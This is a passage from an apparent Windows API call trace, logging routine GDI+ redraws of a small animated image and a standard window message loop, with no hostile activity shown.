CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffe1040b8a [0156.825] GetClipRgn (hdc=0x7010bac, hrgn=0xffffffffe1040b8a) returned 0 [0156.826] SelectClipRgn (hdc=0x7010bac, hrgn=0x110407c3) returned 2 [0156.826] DeleteObject (ho=0xffffffffe1040b8a) returned 1 [0156.826] DeleteObject (ho=0x110407c3) returned 1 [0156.826] OffsetViewportOrgEx (in: hdc=0x7010bac, x=0, y=0, lppt=0x2712258 | out: lppt=0x2712258) returned 1 [0156.826] GetNearestColor (hdc=0x7010bac, color=0xffffff) returned 0xffffff [0156.826] CreateSolidBrush (color=0xffffff) returned 0xffffffffe9100190 [0156.826] FillRect (hDC=0x7010bac, lprc=0x15d7c0, hbr=0xffffffffe9100190) returned 1 [0156.826] DeleteObject (ho=0xffffffffe9100190) returned 1 [0156.826] RestoreDC (hdc=0x7010bac, nSavedDC=-1) returned 1 [0156.826] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.826] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x7010bac) returned 0x0 [0156.826] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc140dbd) returned 0x0 [0156.827] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.827] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0156.827] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0156.827] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.827] GetSystemMetrics (nIndex=42) returned 0 [0156.827] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0156.827] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0156.827] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0156.827] CoTaskMemFree (pv=0x1e91eca0) [0156.827] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1c) returned 0x0 [0156.830] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0156.830] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0156.830] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0156.830] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0156.830] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x7010bac, x1=0, y1=0, rop=0xcc0020) returned 1 [0156.831] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.831] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x7010bac) returned 0x0 [0156.831] SelectObject (hdc=0x7010bac, h=0x185000f) returned 0x1a05067e [0156.831] DeleteDC (hdc=0x7010bac) returned 1 [0156.831] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.831] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0156.831] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0156.831] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0156.831] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0156.831] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0156.831] WaitMessage () returned 1 [0157.020] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0157.021] IsWindowUnicode (hWnd=0x2031e) returned 1 [0157.021] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0157.021] TranslateMessage (lpMsg=0x15e910) returned 0 [0157.021] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0157.021] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0157.021] GetCurrentThreadId () returned 0xec0 [0157.021] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0157.021] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0157.021] IsWindowUnicode (hWnd=0x2031e) returned 1 [0157.021] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0157.021] TranslateMessage (lpMsg=0x15e910) returned 0 [0157.021] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0157.021] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0157.021] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0157.022] CreateCompatibleDC (hdc=0x3010b83) returned 0x2f01075e [0157.022] SelectObject (hdc=0x2f01075e, h=0x1a05067e) returned 0x185000f [0157.022] GdipCreateFromHDC (hdc=0x2f01075e, graphics=0x15daf0) returned 0x0 [0157.022] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0157.022] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0157.022] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0157.022] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0157.022] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0157.022] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.022] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0157.023] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.023] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.023] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0157.023] GdipCreateRegion (region=0x15dc20) returned 0x0 [0157.023] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0157.023] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0157.023] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0157.024] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0157.024] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.024] GetSystemMetrics (nIndex=42) returned 0 [0157.024] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0157.024] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0157.024] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0157.024] CoTaskMemFree (pv=0x1e91eca0) [0157.024] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0157.024] GdipCreateRegion (region=0x15d710) returned 0x0 [0157.024] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0157.024] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0157.024] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0157.024] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0157.024] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.025] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0157.025] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.025] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0157.025] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.025] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0157.026] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.026] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.026] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0157.026] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0157.026] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0157.027] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0157.027] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.027] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0157.027] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0157.027] GetCurrentObject (hdc=0x2f01075e, type=0x1) returned 0x1b00017 [0157.027] GetCurrentObject (hdc=0x2f01075e, type=0x2) returned 0x1900010 [0157.027] GetCurrentObject (hdc=0x2f01075e, type=0x7) returned 0x1a05067e [0157.027] GetCurrentObject (hdc=0x2f01075e, type=0x6) returned 0x18a002e [0157.027] SaveDC (hdc=0x2f01075e) returned 1 [0157.027] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x120407c3 [0157.027] GetClipRgn (hdc=0x2f01075e, hrgn=0x120407c3) returned 0 [0157.028] SelectClipRgn (hdc=0x2f01075e, hrgn=0xffffffffe2040b8a) returned 2 [0157.028] DeleteObject (ho=0x120407c3) returned 1 [0157.028] DeleteObject (ho=0xffffffffe2040b8a) returned 1 [0157.028] OffsetViewportOrgEx (in: hdc=0x2f01075e, x=0, y=0, lppt=0x2713550 | out: lppt=0x2713550) returned 1 [0157.028] GetNearestColor (hdc=0x2f01075e, color=0xffffff) returned 0xffffff [0157.028] CreateSolidBrush (color=0xffffff) returned 0xffffffffea100190 [0157.028] FillRect (hDC=0x2f01075e, lprc=0x15d7c0, hbr=0xffffffffea100190) returned 1 [0157.028] DeleteObject (ho=0xffffffffea100190) returned 1 [0157.028] RestoreDC (hdc=0x2f01075e, nSavedDC=-1) returned 1 [0157.028] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.028] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2f01075e) returned 0x0 [0157.028] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc120dbd) returned 0x0 [0157.029] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.029] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0157.029] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0157.029] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.029] GetSystemMetrics (nIndex=42) returned 0 [0157.029] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0157.029] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0157.029] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0157.029] CoTaskMemFree (pv=0x1e91eca0) [0157.029] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0157.029] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0157.029] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0157.030] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0157.030] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x2f01075e, x1=0, y1=0, rop=0xcc0020) returned 1 [0157.030] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.030] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2f01075e) returned 0x0 [0157.030] SelectObject (hdc=0x2f01075e, h=0x185000f) returned 0x1a05067e [0157.030] DeleteDC (hdc=0x2f01075e) returned 1 [0157.030] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.030] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0157.030] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0157.031] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0157.031] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0157.031] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0157.031] WaitMessage () returned 1 [0157.175] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0157.176] IsWindowUnicode (hWnd=0x2031e) returned 1 [0157.176] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0157.176] TranslateMessage (lpMsg=0x15e910) returned 0 [0157.176] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0157.176] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0157.176] GetCurrentThreadId () returned 0xec0 [0157.176] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0157.176] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0157.176] IsWindowUnicode (hWnd=0x2031e) returned 1 [0157.176] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0157.176] TranslateMessage (lpMsg=0x15e910) returned 0 [0157.176] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0157.176] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0157.177] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0157.177] CreateCompatibleDC (hdc=0x3010b83) returned 0x13010bab [0157.177] SelectObject (hdc=0x13010bab, h=0x1a05067e) returned 0x185000f [0157.177] GdipCreateFromHDC (hdc=0x13010bab, graphics=0x15daf0) returned 0x0 [0157.177] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0157.177] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0157.177] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0157.177] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0157.178] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0157.178] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.178] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0157.178] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.179] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.179] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0157.179] GdipCreateRegion (region=0x15dc20) returned 0x0 [0157.179] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0157.179] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0157.179] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0157.179] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0157.179] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.179] GetSystemMetrics (nIndex=42) returned 0 [0157.179] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0157.179] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0157.179] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0157.180] CoTaskMemFree (pv=0x1e91eca0) [0157.180] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0157.180] GdipCreateRegion (region=0x15d710) returned 0x0 [0157.180] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0157.180] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0157.180] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0157.180] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0157.180] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.180] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0157.181] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.181] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0157.181] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.181] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0157.182] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.182] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.182] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0157.182] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0157.182] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0157.182] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0157.182] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.182] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0157.182] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0157.182] GetCurrentObject (hdc=0x13010bab, type=0x1) returned 0x1b00017 [0157.183] GetCurrentObject (hdc=0x13010bab, type=0x2) returned 0x1900010 [0157.183] GetCurrentObject (hdc=0x13010bab, type=0x7) returned 0x1a05067e [0157.183] GetCurrentObject (hdc=0x13010bab, type=0x6) returned 0x18a002e [0157.183] SaveDC (hdc=0x13010bab) returned 1 [0157.183] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffe3040b8a [0157.183] GetClipRgn (hdc=0x13010bab, hrgn=0xffffffffe3040b8a) returned 0 [0157.183] SelectClipRgn (hdc=0x13010bab, hrgn=0x130407c3) returned 2 [0157.183] DeleteObject (ho=0xffffffffe3040b8a) returned 1 [0157.183] DeleteObject (ho=0x130407c3) returned 1 [0157.183] OffsetViewportOrgEx (in: hdc=0x13010bab, x=0, y=0, lppt=0x2713e88 | out: lppt=0x2713e88) returned 1 [0157.184] GetNearestColor (hdc=0x13010bab, color=0xffffff) returned 0xffffff [0157.184] CreateSolidBrush (color=0xffffff) returned 0xffffffffeb100190 [0157.184] FillRect (hDC=0x13010bab, lprc=0x15d7c0, hbr=0xffffffffeb100190) returned 1 [0157.184] DeleteObject (ho=0xffffffffeb100190) returned 1 [0157.184] RestoreDC (hdc=0x13010bab, nSavedDC=-1) returned 1 [0157.184] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.184] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x13010bab) returned 0x0 [0157.184] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc100dbd) returned 0x0 [0157.184] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.184] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0157.184] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0157.185] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.185] GetSystemMetrics (nIndex=42) returned 0 [0157.185] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0157.185] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0157.185] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0157.185] CoTaskMemFree (pv=0x1e91eca0) [0157.185] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x0) returned 0x0 [0157.186] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0157.186] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0157.186] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0157.186] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0157.186] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x13010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0157.187] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.187] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x13010bab) returned 0x0 [0157.187] SelectObject (hdc=0x13010bab, h=0x185000f) returned 0x1a05067e [0157.187] DeleteDC (hdc=0x13010bab) returned 1 [0157.187] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.187] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0157.187] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0157.187] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0157.187] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0157.187] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0157.187] WaitMessage () returned 1 [0157.366] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0157.366] IsWindowUnicode (hWnd=0x2031e) returned 1 [0157.366] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0157.366] TranslateMessage (lpMsg=0x15e910) returned 0 [0157.366] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0157.366] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0157.366] GetCurrentThreadId () returned 0xec0 [0157.366] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0157.366] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0157.366] IsWindowUnicode (hWnd=0x2031e) returned 1 [0157.366] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0157.366] TranslateMessage (lpMsg=0x15e910) returned 0 [0157.366] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0157.366] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0157.367] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0157.367] CreateCompatibleDC (hdc=0x3010b83) returned 0xc010bac [0157.367] SelectObject (hdc=0xc010bac, h=0x1a05067e) returned 0x185000f [0157.367] GdipCreateFromHDC (hdc=0xc010bac, graphics=0x15daf0) returned 0x0 [0157.367] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0157.367] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0157.367] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0157.367] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0157.367] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0157.367] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.367] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0157.368] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.368] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.368] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0157.368] GdipCreateRegion (region=0x15dc20) returned 0x0 [0157.368] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0157.369] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0157.369] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0157.369] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0157.369] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.369] GetSystemMetrics (nIndex=42) returned 0 [0157.369] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0157.369] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0157.369] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0157.369] CoTaskMemFree (pv=0x1e91eca0) [0157.369] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0157.369] GdipCreateRegion (region=0x15d710) returned 0x0 [0157.369] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0157.369] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0157.369] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0157.370] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0157.370] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.370] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0157.370] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.370] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0157.370] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.371] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0157.371] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.371] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.371] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0157.371] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0157.371] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0157.371] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0157.371] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.371] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0157.372] GdipGetDC 